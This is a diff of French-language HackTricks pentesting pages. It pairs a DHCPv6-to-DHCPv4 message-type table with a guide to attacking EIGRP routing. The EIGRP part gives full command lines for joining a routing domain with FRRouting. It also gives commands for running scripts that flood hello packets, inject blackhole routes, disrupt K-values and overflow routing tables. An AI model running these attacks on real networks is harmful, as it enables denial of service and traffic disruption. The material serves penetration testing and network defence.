<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres façons de soutenir HackTricks :
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,40 +1,73 @@
|
||||||
| Type de message DHCPv6 | Type de message DHCPv4 |
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| Type de message DHCPv6 | Type de message DHCPv4 |
|
||||||
| :--- | :--- |
|
| :--- | :--- |
|
||||||
| Solicit \(1\) | DHCPDISCOVER |
|
| Solicit \(1\) | DHCPDISCOVER |
|
||||||
| Advertise \(2\) | DHCPOFFER |
|
| Advertise \(2\) | DHCPOFFER |
|
||||||
| Request \(3\), Renew \(5\), Rebind \(6\) | DHCPREQUEST |
|
| Request \(3\), Renew \(5\), Rebind \(6\) | DHCPREQUEST |
|
||||||
| Reply \(7\) | DHCPACK / DHCPNAK |
|
| Reply \(7\) | DHCPACK / DHCPNAK |
|
||||||
| Release \(8\) | DHCPRELEASE |
|
| Release \(8\) | DHCPRELEASE |
|
||||||
| Information-Request \(11\) | DHCPINFORM |
|
| Information-Request \(11\) | DHCPINFORM |
|
||||||
| Decline \(9\) | DHCPDECLINE |
|
| Decline \(9\) | DHCPDECLINE |
|
||||||
| Confirm \(4\) | aucun |
|
| Confirm \(4\) | none |
|
||||||
| Reconfigure \(10\) | DHCPFORCERENEW |
|
| Reconfigure \(10\) | DHCPFORCERENEW |
|
||||||
| Relay-Forw \(12\), Relay-Reply \(13\) | aucun |
|
| Relay-Forw \(12\), Relay-Reply \(13\) | none |
|
||||||
|
|
||||||
SOLICIT \(1\)
|
SOLICIT \(1\)
|
||||||
|
|
||||||
Un client DHCPv6 envoie un message Solicit pour localiser les serveurs DHCPv6. ADVERTISE \(2\)
|
Un client DHCPv6 envoie un message Solicit pour localiser les serveurs DHCPv6. ADVERTISE \(2\)
|
||||||
|
|
||||||
Un serveur envoie un message Advertise pour indiquer qu'il est disponible pour le service DHCP, en réponse à un message Solicit reçu d'un client. REQUEST \(3\)
|
Un serveur envoie un message Advertise pour indiquer qu'il est disponible pour le service DHCP, en réponse à un message Solicit reçu d'un client. REQUEST \(3\)
|
||||||
|
|
||||||
Un client envoie un message Request pour demander des paramètres de configuration, y compris des adresses IP ou des préfixes délégués, à un serveur spécifique. CONFIRM \(4\)
|
Un client envoie un message Request pour demander des paramètres de configuration, y compris des adresses IP ou des préfixes délégués, à un serveur spécifique. CONFIRM \(4\)
|
||||||
|
|
||||||
Un client envoie un message Confirm à n'importe quel serveur disponible pour déterminer si les adresses qui lui ont été attribuées sont toujours appropriées pour le lien auquel le client est connecté. Cela peut se produire lorsque le client détecte un changement de connectivité de la couche liaison ou s'il est sous tension et qu'une ou plusieurs locations sont encore valides. Le message de confirmation est utilisé pour confirmer si le client est toujours sur le même lien ou s'il a été déplacé. Les locations réelles ne sont pas validées ; seulement la partie préfixe des adresses ou des préfixes délégués. RENEW \(5\)
|
Un client envoie un message Confirm à n'importe quel serveur disponible pour déterminer si les adresses qui lui ont été attribuées sont toujours appropriées au lien auquel le client est connecté. Cela pourrait se produire lorsque le client détecte un changement de connectivité de la couche de liaison ou s'il est allumé et qu'une ou plusieurs baux sont toujours valides. Le message de confirmation est utilisé pour confirmer si le client est toujours sur le même lien ou s'il a été déplacé. Les baux réels ne sont pas validés ; seulement la partie préfixe des adresses ou des préfixes délégués. RENEW \(5\)
|
||||||
|
|
||||||
Un client envoie un message Renew au serveur qui a initialement fourni les adresses et les paramètres de configuration du client pour prolonger la durée de vie des adresses attribuées au client et mettre à jour d'autres paramètres de configuration. REBIND \(6\)
|
Un client envoie un message Renew au serveur qui a initialement fourni les adresses du client et les paramètres de configuration pour prolonger la durée de vie des adresses attribuées au client et mettre à jour d'autres paramètres de configuration. REBIND \(6\)
|
||||||
|
|
||||||
Un client envoie un message Rebind à n'importe quel serveur disponible pour prolonger la durée de vie des adresses attribuées au client et mettre à jour d'autres paramètres de configuration ; ce message est envoyé après qu'un client n'a reçu aucune réponse à un message Renew. REPLY \(7\)
|
Un client envoie un message Rebind à n'importe quel serveur disponible pour prolonger la durée de vie des adresses attribuées au client et mettre à jour d'autres paramètres de configuration ; ce message est envoyé après qu'un client n'a reçu aucune réponse à un message Renew. REPLY \(7\)
|
||||||
|
|
||||||
Un serveur envoie un message Reply contenant des adresses attribuées et des paramètres de configuration en réponse à un message Solicit, Request, Renew, Rebind reçu d'un client. Un serveur envoie un message Reply contenant des paramètres de configuration en réponse à un message Information-request. Un serveur envoie un message Reply en réponse à un message Confirm confirmant ou refusant que les adresses attribuées au client soient appropriées pour le lien auquel le client est connecté. Un serveur envoie un message Reply pour accuser réception d'un message Release ou Decline. RELEASE \(8\)
|
Un serveur envoie un message Reply contenant les adresses attribuées et les paramètres de configuration en réponse à un message Solicit, Request, Renew, Rebind reçu d'un client. Un serveur envoie un message Reply contenant des paramètres de configuration en réponse à un message de demande d'informations. Un serveur envoie un message Reply en réponse à un message Confirm pour confirmer ou nier que les adresses attribuées au client sont appropriées au lien auquel le client est connecté. Un serveur envoie un message Reply pour accuser réception d'un message de Release ou de Decline. RELEASE \(8\)
|
||||||
|
|
||||||
Un client envoie un message Release au serveur qui a attribué des adresses au client pour indiquer que le client n'utilisera plus une ou plusieurs des adresses attribuées. DECLINE \(9\)
|
Un client envoie un message Release au serveur qui a attribué des adresses au client pour indiquer que le client n'utilisera plus une ou plusieurs des adresses attribuées. DECLINE \(9\)
|
||||||
|
|
||||||
Un client envoie un message Decline à un serveur pour indiquer que le client a déterminé que une ou plusieurs adresses attribuées par le serveur sont déjà utilisées sur le lien auquel le client est connecté. RECONFIGURE \(10\)
|
Un client envoie un message Decline à un serveur pour indiquer que le client a déterminé que une ou plusieurs adresses attribuées par le serveur sont déjà utilisées sur le lien auquel le client est connecté. RECONFIGURE \(10\)
|
||||||
|
|
||||||
Un serveur envoie un message Reconfigure à un client pour l'informer que le serveur dispose de nouveaux paramètres de configuration ou mis à jour, et que le client doit initier une transaction Renew/Reply ou Information-request/Reply avec le serveur afin de recevoir les informations mises à jour. INFORMATION-REQUEST \(11\)
|
Un serveur envoie un message Reconfigure à un client pour informer le client que le serveur a de nouveaux paramètres de configuration ou mis à jour, et que le client doit initier une transaction Renew/Reply ou Information-request/Reply avec le serveur pour recevoir les informations mises à jour. INFORMATION-REQUEST \(11\)
|
||||||
|
|
||||||
Un client envoie un message Information-request à un serveur pour demander des paramètres de configuration sans l'attribution d'adresses IP au client. RELAY-FORW \(12\)
|
Un client envoie un message de demande d'informations à un serveur pour demander des paramètres de configuration sans attribution d'adresses IP au client. RELAY-FORW \(12\)
|
||||||
|
|
||||||
Un agent de relais envoie un message Relay-forward pour relayer des messages vers des serveurs, directement ou via un autre agent de relais. Le message reçu, soit un message client, soit un message Relay-forward d'un autre agent de relais, est encapsulé dans une option dans le message Relay-forward. RELAY-REPL \(13\)
|
Un agent relais envoie un message Relay-forward pour relayer des messages vers des serveurs, soit directement soit par l'intermédiaire d'un autre agent relais. Le message reçu, qu'il s'agisse d'un message client ou d'un message Relay-forward d'un autre agent relais, est encapsulé dans une option dans le message Relay-forward. RELAY-REPL \(13\)
|
||||||
|
|
||||||
Un serveur envoie un message Relay-reply à un agent de relais contenant un message que l'agent de relais livre à un client. Le message Relay-reply peut être relayé par d'autres agents de relais pour être livré à l'agent de relais de destination. Le serveur encapsule le message client en tant qu'option dans le message Relay-reply, que l'agent de relais extrait et relaie au client.
|
Un serveur envoie un message Relay-reply à un agent relais contenant un message que l'agent relais transmet à un client. Le message Relay-reply peut être relayé par d'autres agents relais pour être livré à l'agent relais de destination. Le serveur encapsule le message client en tant qu'option dans le message Relay-reply, que l'agent relais extrait et transmet au client.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -2,118 +2,108 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert AWS Red Team de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Cette page est basée sur** [****](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Consultez-le pour plus d'informations.
|
**Cette page est basée sur** [****](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Consultez-la pour plus d'informations.
|
||||||
|
|
||||||
## Comprendre les vulnérabilités du protocole EIGRP <a href="#0f82" id="0f82"></a>
|
## Compréhension des vulnérabilités du protocole EIGRP <a href="#0f82" id="0f82"></a>
|
||||||
|
|
||||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** est identifié comme un protocole de routage dynamique à vecteur de distance. Une vulnérabilité critique est observée si l'authentification ou la configuration des interfaces passives sont négligées, conduisant à un empoisonnement potentiel des tables de routage. De plus, la structure du réseau EIGRP, ou système autonome, est non segmentée, sans aucune forme de divisions de zones. Cette structure plate implique que les routes injectées par un attaquant pourraient se propager à travers tout le système autonome.
|
**EIGRP (Enhanced Interior Gateway Routing Protocol)** est identifié comme un protocole de routage dynamique de type vecteur de distance. Une vulnérabilité critique est observée si l'authentification ou la configuration des interfaces passives sont négligées, ce qui peut entraîner un empoisonnement potentiel des tables de routage. De plus, la structure du réseau EIGRP, ou du système autonome, n'est pas segmentée, ne comportant aucune forme de divisions de zone. Cette structure plate implique que les routes injectées par un attaquant pourraient se propager dans l'ensemble du système autonome.
|
||||||
|
|
||||||
![](../../.gitbook/assets/image (25) (1).png)
|
![](../../.gitbook/assets/image (25) (1).png)
|
||||||
|
|
||||||
La première étape pour exploiter un système EIGRP implique d'établir une connexion avec un routeur EIGRP légitime. Cette connexion ouvre des voies allant de la reconnaissance à diverses formes d'injections. Pour faciliter cela, [**FRRouting**](https://frrouting.org/), une solution open-source, est utilisée pour émuler un routeur sur les systèmes Unix et Linux. **FRRouting** prend en charge de multiples protocoles incluant BGP, OSPF et EIGRP. Le déploiement de FRRouting sur le système d'un attaquant lui permet de mimer un routeur légitime au sein du domaine de routage. Des instructions détaillées pour déployer FRR sur votre système suivront.
|
La première étape pour exploiter un système EIGRP consiste à établir une connexion avec un routeur EIGRP légitime. Cette connexion ouvre la voie à diverses formes d'injections, allant de la reconnaissance à diverses formes d'injections. Pour faciliter cela, [**FRRouting**](https://frrouting.org/), une solution open-source, est utilisée pour émuler un routeur sur les systèmes Unix et Linux. **FRRouting** prend en charge plusieurs protocoles, y compris BGP, OSPF et EIGRP. Le déploiement de FRRouting sur le système d'un attaquant leur permet de simuler un routeur légitime dans le domaine de routage. Des instructions détaillées pour déployer FRR sur votre système suivront.
|
||||||
|
|
||||||
### Collecte de renseignements sur le réseau <a href="#41e6" id="41e6"></a>
|
### Collecte d'informations sur le réseau <a href="#41e6" id="41e6"></a>
|
||||||
|
|
||||||
L'intégration dans le domaine de routage permet l'énumération et la reconnaissance des réseaux, offrant une alternative efficace en temps à l'analyse extensive. Cette approche permet non seulement de gagner du temps, mais aussi de réduire le risque de détection par les systèmes de sécurité IPS/IDS. Pour y parvenir, le déploiement de **FRRouting** est nécessaire.
|
L'intégration dans le domaine de routage permet l'énumération et la reconnaissance des réseaux, offrant une alternative efficace en termes de temps aux analyses approfondies. Cette approche permet non seulement de gagner du temps, mais aussi de réduire le risque de détection par les systèmes de sécurité IPS/IDS. Pour y parvenir, le déploiement de **FRRouting** est nécessaire.
|
||||||
|
|
||||||
Des modifications sont requises dans le fichier de configuration `daemons`, qui contrôle les activités des daemons. L'activation du daemon **eigrpd** est nécessaire.
|
Des modifications sont nécessaires dans le fichier de configuration `daemons`, qui contrôle les activités des démons. L'activation du démon **eigrpd** est nécessaire.
|
||||||
```bash
|
```bash
|
||||||
~# nano /etc/frr/daemons
|
~# nano /etc/frr/daemons
|
||||||
eigrpd=yes
|
eigrpd=yes
|
||||||
```
|
```
|
||||||
![](../../.gitbook/assets/image (15) (1).png)
|
![](../../.gitbook/assets/image (15) (1).png)
|
||||||
|
|
||||||
De plus, des ajustements au fichier **vtysh.conf** sont nécessaires pour garantir que les configurations de divers protocoles soient consolidées dans un seul fichier.
|
De plus, des ajustements au fichier **vtysh.conf** sont nécessaires pour garantir que les configurations de divers protocoles sont consolidées dans un seul fichier.
|
||||||
```bash
|
```bash
|
||||||
~# nano /etc/frr/vtysh.conf
|
~# nano /etc/frr/vtysh.conf
|
||||||
service integrated-vtysh-config
|
service integrated-vtysh-config
|
||||||
```
|
```
|
||||||
Après la configuration, l'initiation du démon FRR et l'activation du routage du trafic (désactivé par défaut dans les distributions Linux) sont nécessaires.
|
Après la configuration, le lancement du démon FRR et l'activation du routage du trafic (désactivé par défaut dans les distributions Linux) sont nécessaires.
|
||||||
```bash
|
```bash
|
||||||
~$ sudo systemctl start frr
|
~$ sudo systemctl start frr
|
||||||
~$ sudo sysctl -w net.ipv4.ip_forward=1
|
~$ sudo sysctl -w net.ipv4.ip_forward=1
|
||||||
```
|
```
|
||||||
```markdown
|
|
||||||
![](../../.gitbook/assets/image (32).png)
|
![](../../.gitbook/assets/image (32).png)
|
||||||
|
|
||||||
La commande **vtysh** donne accès au panneau de contrôle du routeur FRR.
|
La commande **vtysh** fournit l'accès au panneau de contrôle du routeur FRR.
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
~$ sudo vtysh
|
~$ sudo vtysh
|
||||||
```
|
```
|
||||||
Utilisation exemple :
|
Exemple d'utilisation :
|
||||||
```bash
|
```bash
|
||||||
root# show version
|
root# show version
|
||||||
```
|
```
|
||||||
```markdown
|
> Note: Le domaine de routage EIGRP peut être sécurisé avec une authentification. Cependant, un accès potentiel est toujours possible en extrayant les hachages cryptographiques des paquets hello et en réinitialisant le mot de passe.
|
||||||
![](../../.gitbook/assets/image (3) (2) (2).png)
|
|
||||||
|
|
||||||
> Remarque : Le domaine de routage EIGRP peut être sécurisé avec une authentification. Cependant, un accès potentiel est toujours possible en extrayant les hachages cryptographiques des paquets hello et en réinitialisant le mot de passe.
|
Dans le mode de configuration global, initiez le processus **EIGRP** et définissez le numéro du système autonome - **1**, ainsi que l'emplacement du réseau.
|
||||||
|
|
||||||
Dans le mode de configuration globale, initiez le processus **EIGRP** et définissez le numéro du système autonome — **1**, ainsi que l'emplacement du réseau.
|
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
root# config
|
root# config
|
||||||
root(config)# router eigrp 1
|
root(config)# router eigrp 1
|
||||||
root(config-router) network 10.10.100.50/32
|
root(config-router) network 10.10.100.50/32
|
||||||
```
|
```
|
||||||
Après l'établissement de connexions de voisinage avec des routeurs EIGRP légitimes (dans ce cas, **GW1 (10.10.100.100)** et **GW2 (10.10.100.200)**), les routeurs échangent des informations de routage. Ce processus entraîne l'apparition de nouvelles routes dans la table de routage du système attaquant, aidant dans le pentesting et économisant du temps sur le balayage des sous-réseaux. À ce stade, le système fait partie du domaine de routage EIGRP et est prêt pour le développement de vecteurs d'attaque supplémentaires.
|
Après l'établissement des connexions de voisinage avec des routeurs EIGRP légitimes (dans ce cas, **GW1 (10.10.100.100)** et **GW2 (10.10.100.200)**), les routeurs échangent des informations de routage. Ce processus entraîne l'apparition de nouvelles routes dans la table de routage du système d'attaque, facilitant les tests de pénétration et économisant du temps sur le balayage des sous-réseaux. À ce stade, le système fait partie du domaine de routage EIGRP et est prêt pour le développement de vecteurs d'attaque supplémentaires.
|
||||||
|
|
||||||
![](../../.gitbook/assets/image (5) (1) (2).png)
|
![](../../.gitbook/assets/image (5) (1) (2).png)
|
||||||
![](../../.gitbook/assets/image (30) (1).png)
|
![](../../.gitbook/assets/image (30) (1).png)
|
||||||
![](../../.gitbook/assets/image (29) (1) (2).png)
|
![](../../.gitbook/assets/image (29) (1) (2).png)
|
||||||
|
|
||||||
### Exploitation d'EIGRP : Vecteurs d'Attaque <a href="#51ee" id="51ee"></a>
|
### Exploitation d'EIGRP : Vecteurs d'attaque <a href="#51ee" id="51ee"></a>
|
||||||
|
|
||||||
#### 1. Faux Voisins EIGRP
|
#### 1. Faux voisins EIGRP
|
||||||
L'envoi massif de paquets hello EIGRP peut conduire à une surcharge du CPU sur les routeurs, ouvrant la voie à des attaques DoS. Un script, **helloflooding.py**, est utilisé pour cela, bien que sa vitesse d'envoi de paquets soit limitée par le GIL (Global Interpreter Lock). Des plans pour réécrire le script en C afin d'améliorer les performances sont en cours.
|
L'envoi massif de paquets hello EIGRP peut entraîner une surcharge CPU sur les routeurs, ouvrant la voie aux attaques par déni de service (DoS). Un script, **helloflooding.py**, est utilisé à cette fin, bien que sa vitesse d'envoi de paquets soit limitée par le GIL (Global Interpreter Lock). Des projets de réécriture du script en C pour des performances améliorées sont en cours.
|
||||||
|
|
||||||
![](../../.gitbook/assets/image (2) (6) (1).png)
|
![](../../.gitbook/assets/image (2) (6) (1).png)
|
||||||
|
|
||||||
L'utilisation du script implique de spécifier :
|
L'utilisation du script implique de spécifier :
|
||||||
- L'interface réseau (par exemple, eth0)
|
- Interface réseau (par exemple, eth0)
|
||||||
- Le numéro de système autonome EIGRP (par exemple, 1)
|
- Numéro de système autonome EIGRP (par exemple, 1)
|
||||||
- L'emplacement du sous-réseau (par exemple, 10.10.100.0/24)
|
- Emplacement du sous-réseau (par exemple, 10.10.100.0/24)
|
||||||
```bash
|
```bash
|
||||||
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
|
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
|
||||||
```
|
```
|
||||||
```markdown
|
#### 2. EIGRP Blackhole
|
||||||
![](../../.gitbook/assets/image (26) (1).png)
|
Cette attaque implique l'injection d'une fausse route pour perturber le flux de trafic, communément appelée attaque Blackhole. Le script **routeinject.py** est utilisé à cette fin. Par exemple, rediriger le trafic pour `172.16.100.140/32` vers une destination inexistante.
|
||||||
|
|
||||||
#### 2. Attaque par trou noir EIGRP
|
|
||||||
Cette attaque consiste à injecter une fausse route pour perturber le flux de trafic, communément appelée attaque par trou noir. Le script **routeinject.py** est utilisé à cet effet. Par exemple, rediriger le trafic pour `172.16.100.140/32` vers une destination inexistante.
|
|
||||||
|
|
||||||
![](../../.gitbook/assets/image (16) (1).png)
|
![](../../.gitbook/assets/image (16) (1).png)
|
||||||
|
|
||||||
Les paramètres du script incluent :
|
Les paramètres du script incluent :
|
||||||
- Interface système de l'attaquant
|
- Interface du système de l'attaquant
|
||||||
- Numéro AS EIGRP
|
- Numéro AS EIGRP
|
||||||
- Adresse IP de l'attaquant
|
- Adresse IP de l'attaquant
|
||||||
- IP du sous-réseau cible et son masque
|
- IP du sous-réseau cible et son masque
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
|
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
|
||||||
```
|
```
|
||||||
![](../../.gitbook/assets/image (20) (1).png)
|
![](../../.gitbook/assets/image (20) (1).png)
|
||||||
|
|
||||||
Le résultat est une perte de connectivité à l'hôte ciblé en raison de l'injection de route.
|
Le résultat est une perte de connectivité avec l'hôte ciblé en raison de l'injection de route.
|
||||||
|
|
||||||
![](../../.gitbook/assets/image (6) (1) (1).png)
|
![](../../.gitbook/assets/image (6) (1) (1).png)
|
||||||
|
|
||||||
#### 3. Exploitation des K-Values
|
#### 3. Abus des valeurs K
|
||||||
Des K-values incompatibles entre les routeurs EIGRP peuvent perturber le domaine EIGRP. Le script **relationshipnightmare.py** exploite cela en injectant des K-values modifiées, provoquant des perturbations continues et des reconnexions au sein du domaine EIGRP, aboutissant effectivement à une attaque DoS.
|
Des valeurs K incompatibles entre les routeurs EIGRP peuvent perturber le domaine EIGRP. Le script **relationshipnightmare.py** exploite cela en injectant des valeurs K modifiées, déclenchant des perturbations et reconnexions continues au sein du domaine EIGRP, aboutissant efficacement à une attaque par déni de service (DoS).
|
||||||
|
|
||||||
![](../../.gitbook/assets/image (12) (2) (1).png)
|
![](../../.gitbook/assets/image (12) (2) (1).png)
|
||||||
|
|
||||||
|
@ -122,35 +112,37 @@ Le script nécessite :
|
||||||
- Numéro AS EIGRP
|
- Numéro AS EIGRP
|
||||||
- Adresse IP d'un routeur légitime
|
- Adresse IP d'un routeur légitime
|
||||||
|
|
||||||
Les modifications injectées sont envoyées de l'IP spécifiée à l'adresse IP multicast EIGRP, causant l'incompatibilité.
|
Les altérations injectées sont envoyées depuis l'IP spécifiée vers l'adresse IP EIGRP multicast, provoquant la discordance.
|
||||||
```bash
|
```bash
|
||||||
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
|
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
|
||||||
```
|
```
|
||||||
#### 4. Débordement de la Table de Routage
|
![](../../.gitbook/assets/image (9) (1) (4).png)
|
||||||
Cette attaque inonde la table de routage avec de fausses routes, sollicitant fortement le CPU et la RAM du routeur. Le script **routingtableoverflow.py** facilite cela en envoyant rapidement de nombreuses fausses routes.
|
![](../../.gitbook/assets/image (27) (1).png)
|
||||||
|
|
||||||
|
#### 4. Débordement de la table de routage
|
||||||
|
Cette attaque inonde la table de routage avec de fausses routes, surchargeant le processeur et la RAM du routeur. Le script **routingtableoverflow.py** facilite cela en envoyant rapidement de nombreuses fausses routes.
|
||||||
|
|
||||||
|
![](../../.gitbook/assets/image (3) (4).png)
|
||||||
|
|
||||||
Paramètres du script :
|
Paramètres du script :
|
||||||
- Interface réseau
|
- Interface réseau
|
||||||
- Numéro AS EIGRP
|
- Numéro AS EIGRP
|
||||||
- Adresse IP de l'attaquant
|
- Adresse IP de l'attaquant
|
||||||
|
|
||||||
Après l'exécution du script, la table de routage est saturée de routes fallacieuses, affectant gravement les performances du routeur.
|
Après l'exécution du script, la table de routage est saturée de fausses routes, affectant gravement les performances du routeur.
|
||||||
```bash
|
```bash
|
||||||
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
|
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
|
||||||
```
|
```
|
||||||
![](../../.gitbook/assets/image (4) (4).png)
|
|
||||||
![](../../.gitbook/assets/image (21) (1).png)
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
